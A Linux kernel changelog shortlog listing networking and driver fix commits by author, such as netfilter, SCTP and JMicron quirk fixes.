Neil Horman (1):
[IPV6]: Fix up some CONFIG typos

Patrick McHardy (5):
[NETFILTER]: xt_connbytes: fix division by zero
[NETFILTER]: SIP conntrack: fix out of bounds memory access
[NETFILTER]: xt_hashlimit: fix ip6tables dependency
[NET_SCHED]: act_ipt: fix regression in ipt action
[NETFILTER]: ctnetlink: fix compile failure with NF_CONNTRACK_MARK=n

Peter Korsgaard (1):
net/smc911x: match up spin lock/unlock

Randy Dunlap (2):
[MAINTAINERS]: netfilter@ is subscribers-only
sysrq: showBlockedTasks is sysrq-W

Tejun Heo (1):
ahci/pata_jmicron: fix JMicron quirk

Vlad Yasevich (1):
[SCTP]: Force update of the rto when processing HB-ACK